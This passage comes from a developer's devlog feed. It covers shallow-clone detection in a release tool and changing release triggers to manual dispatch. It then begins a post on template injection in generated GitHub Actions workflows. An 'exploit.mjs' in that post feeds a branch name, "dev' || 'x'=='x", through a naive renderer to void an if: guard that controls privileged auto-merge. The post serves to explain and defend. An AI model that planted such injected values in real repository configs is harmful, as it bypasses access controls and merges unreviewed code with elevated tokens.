&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { ok: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, error: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`no such tag: ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;tag&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, fix: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;git fetch --tags&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; log &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; git&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(repo, [&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;log&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;--format=%h %s&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;tag&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}..HEAD`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; commits &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; log &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; log.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;split&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; bump &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; commits.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;some&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((c) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; /^\w+ \w+!:|BREAKING/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(c))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    ?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;major&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    :&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; commits.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;some&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((c) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; /^\w+ feat/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(c))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;      ?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;minor&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;      :&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; commits.length &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;patch&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;none&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { ok: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, count: commits.length, commits, suggestedBump: bump };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.meta.url &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `file://${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;process&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;argv&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [repo, tag] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; process.argv.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;slice&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; unreleased&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(repo, tag);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(JSON.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;stringify&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(r, null, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;r.ok) process.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;exit&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;git rev-parse --is-shallow-repository&lt;/code&gt; is the whole detection, and it is one call. Run it against both clones:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;node&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; unreleased.mjs&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; full&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; mypkg-v0.1.0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;node&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; unreleased.mjs&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; shallow&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; mypkg-v0.1.0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;ok&quot;: true,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;count&quot;: 2,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;commits&quot;: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;ae0b215 fix: thing 7&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    &quot;fd27825 fix: thing 6&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  ],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;suggestedBump&quot;: &quot;patch&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;ok&quot;: false,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;error&quot;: &quot;shallow repository: commit ranges are not answerable here&quot;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  &quot;fix&quot;: &quot;git fetch --unshallow --tags   (or actions/checkout with fetch-depth: 0)&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;(Your short hashes will differ, since you just created that repository.)&lt;/p&gt;
&lt;p&gt;The refusal carries the command that fixes it. A blocker that does not tell you how to unblock is how people learn to pass &lt;code&gt;--force&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Two details worth stealing. The shallow check runs &lt;strong&gt;before&lt;/strong&gt; the tag check, because in a shallow clone a missing tag is a symptom rather than the cause, and diagnosing the symptom sends you looking for the wrong thing. And the failure exits &lt;code&gt;2&lt;/code&gt; rather than &lt;code&gt;1&lt;/code&gt;, so a caller can distinguish “cannot answer” from “answered: nothing to release”.&lt;/p&gt;
&lt;h2&gt;The second half: a merge is a push&lt;/h2&gt;
&lt;p&gt;Being able to trust the number is only useful if something then makes a decision with it. The other fix in this release is that promoting a branch no longer cuts a tag at all.&lt;/p&gt;
&lt;p&gt;Auto-merging a promotion branch fires a push event, and a release job listening for pushes to the release branch therefore releases on merge. GitHub’s &lt;a href=&quot;https://docs.github.com/en/actions/reference/workflows-and-actions/events-that-trigger-workflows&quot;&gt;events reference&lt;/a&gt; is plain that push “runs your workflow when you push a commit or tag,” and a merge commit is a commit. So the release fires with nobody having chosen it.&lt;/p&gt;
&lt;p&gt;That cost two real releases. One package was tagged 28 seconds after its pull request merged, before a planned changelog edit had landed, so the published release notes were stale; the later, intentional dispatch was a silent no-op because the release workflow skips a tag that already exists. A second package was tagged and published to a registry seconds after its merge, with no dispatch and no decision.&lt;/p&gt;
&lt;p&gt;The replacement is &lt;code&gt;workflow_dispatch&lt;/code&gt;, which the same docs describe as the way “to enable a workflow to be triggered manually.” The version bump lands on the release branch and stops there, sitting as an untagged bump until something dispatches deliberately.&lt;/p&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;The two halves have to land together.&lt;/strong&gt; Removing the push trigger without adding a dispatch leaves the release tool waiting forever for a tag nobody cuts. Adding the dispatch without removing the push trigger double-releases. Escape: treat “what fires the release” as a single switch with exactly one position, change both ends in one commit, and pin it with a check asserting the release job is dispatch-only and does not admit push, because that is the property a well-meaning future edit is most likely to undo.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A default of one commit is a default that answers wrongly rather than loudly.&lt;/strong&gt; &lt;code&gt;fetch-depth: 1&lt;/code&gt; is the right default for building and testing, and the wrong one for any job that asks a history question. Escape: set &lt;code&gt;fetch-depth: 0&lt;/code&gt; on the jobs that need ancestry, and have the tool itself refuse rather than trusting every caller to remember.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;An audit that flags something harmless gets ignored, and then it protects nothing.&lt;/strong&gt; The check enforcing dispatch-only initially matched any workflow &lt;em&gt;mentioning&lt;/em&gt; the release workflow, which included one that only referenced it in a comment and has no release job at all. Escape: match on the structural thing that makes a file capable of the behaviour, in this case the &lt;code&gt;uses:&lt;/code&gt; line, not on the string appearing anywhere in the file.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A baseline that reads live repository state is not a baseline.&lt;/strong&gt; The trap test asserting “a component with nothing to release is refused” shelled out to the real repository, so it passed on a full local clone and failed in CI for reasons unrelated to the code. Escape: drive frozen fixtures through an explicit input path so the test touches git not at all, and treat any baseline that reads live state as a bug in the baseline rather than an environment quirk.&lt;/p&gt;
&lt;h2&gt;Sources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://git-scm.com/docs/gitrevisions&quot;&gt;gitrevisions&lt;/a&gt; — the definition of &lt;code&gt;r1..r2&lt;/code&gt; as reachability with exclusion, which is what a grafted history breaks&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/actions/checkout&quot;&gt;actions/checkout&lt;/a&gt; — &lt;code&gt;fetch-depth&lt;/code&gt; and its default of 1&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.github.com/en/actions/reference/workflows-and-actions/events-that-trigger-workflows&quot;&gt;Events that trigger workflows, GitHub Docs&lt;/a&gt; — what &lt;code&gt;push&lt;/code&gt; fires on, and &lt;code&gt;workflow_dispatch&lt;/code&gt; as the manual trigger&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Changelog&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;fix(release): match release callers on their uses: line, not a mention (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/5f0995259c9a1de0136e2d8d13ea2c96b151749a&quot;&gt;5f09952&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;feat(shipflow)!: a merge never cuts a tag — the dispatch is the release (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/94365955950c70b41630c75649145446a8da9376&quot;&gt;9436595&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;fix(shipflow): a shallow clone cannot answer “what is unreleased?” (#160) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/164ab344996b62bc632f61002009e0af88f3d51a&quot;&gt;164ab34&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><enclosure url="https://natejswenson.com/devlog/release/v0.1.0.png" length="23119" type="image/png"/></item><item><title>A branch name that turned auto-merge on for every pull request</title><link>https://natejswenson.com/devlog/shipflow/v0.4.0/</link><guid isPermaLink="true">https://natejswenson.com/devlog/shipflow/v0.4.0/</guid><description>If your tool writes GitHub Actions YAML from a config file, you have built a code generator whose output runs with a privileged token. Here is how to validate every substituted value against the grammar it actually lands in, and prove it from both sides.</description><pubDate>Sun, 02 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Shipped&lt;/h2&gt;
&lt;p&gt;This release closes out an arc that started as a branching-workflow scaffolder and turned into a hardening exercise. Along the way it picked up three selectable workflow patterns, per-job least-privilege permissions in all six templates, a component-release flow that reads a tag back from origin before calling anything done, and a string of security fixes, one of them Critical.&lt;/p&gt;
&lt;p&gt;The Critical one is the useful part for anyone else. A tool that renders CI config from a settings file is a code generator, and its output executes with a credential the person editing that settings file is not supposed to hold. That is a trust boundary, and it does not look like one.&lt;/p&gt;
&lt;h2&gt;The boundary hiding inside your config file&lt;/h2&gt;
&lt;p&gt;Start with who can write what.&lt;/p&gt;
&lt;p&gt;Branch protection, required checks, and secrets are admin-scoped. Adding a file to &lt;code&gt;.github/&lt;/code&gt; is not: anyone with &lt;strong&gt;write&lt;/strong&gt; access can open a PR that edits it, and on many repos, merge it. GitHub’s own &lt;a href=&quot;https://docs.github.com/en/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions&quot;&gt;security hardening guide&lt;/a&gt; is blunt about the surrounding risk, noting that “any user with write access to your repository have read access to all secrets configured in your repository,” and telling you to keep workflow credentials at least privilege.&lt;/p&gt;
&lt;p&gt;So when a generator reads &lt;code&gt;.github/yourtool.json&lt;/code&gt; and renders a workflow that runs &lt;code&gt;gh&lt;/code&gt; with a promotion token, the config is lower-trust input than the thing it controls. A value in that file reaches a privileged credential without ever passing through an admin.&lt;/p&gt;
&lt;p&gt;That is &lt;a href=&quot;https://cwe.mitre.org/data/definitions/1336.html&quot;&gt;CWE-1336, template engine injection&lt;/a&gt;: “the product fails to neutralize or incorrectly handles special syntax that template engines can interpret as code.” The classic version is a web template rendering &lt;code&gt;{{7*7}}&lt;/code&gt;. This version is quieter, because the injected value never has to look like code. It only has to end a quote.&lt;/p&gt;
&lt;h2&gt;Build the renderer everyone builds first&lt;/h2&gt;
&lt;p&gt;Here is a template close to a real promotion workflow. Save it as &lt;code&gt;promote.yml.tmpl&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;name: auto-merge {{DEV_BRANCH}} into {{MAIN_BRANCH}}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;on:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  pull_request:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    types: [opened, synchronize, reopened]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    branches: [&apos;{{MAIN_BRANCH}}&apos;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;permissions: {}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;jobs:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  automerge:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    if: github.event.pull_request.head.ref == &apos;{{DEV_BRANCH}}&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    runs-on: ubuntu-latest&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    permissions:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      pull-requests: write&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    steps:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      - name: Enable auto-merge&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        env:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          GH_TOKEN: ${{ secrets.{{MERGE_CREDENTIAL}} }}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;          PR: ${{ github.event.pull_request.html_url }}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;        run: gh pr merge --auto {{MERGE_FLAG}} &quot;$PR&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;if:&lt;/code&gt; line is the security control. It is what stops this workflow from auto-merging pull requests that are not genuine promotions.&lt;/p&gt;
&lt;p&gt;Now the renderer. This is the version almost everyone writes first, in &lt;code&gt;render-naive.mjs&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; TOKEN_RE &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; /\{\{(\w+)\}\}/&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; renderNaive&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(template, params) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; template.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;replace&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(TOKEN_RE, (_, name) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; String&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(params[name]));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Six lines, no dependencies, works. Feed it a config where &lt;code&gt;DEV_BRANCH&lt;/code&gt; is &lt;code&gt;dev&apos; || &apos;x&apos;==&apos;x&lt;/code&gt; and watch the control evaporate. Save this as &lt;code&gt;exploit.mjs&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { readFileSync } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:fs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { renderNaive } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./render-naive.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; template &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; readFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;promote.yml.tmpl&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; rendered &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; renderNaive&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(template, {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  DEV_BRANCH: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;dev&apos; || &apos;x&apos;==&apos;x&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  MAIN_BRANCH: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;main&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
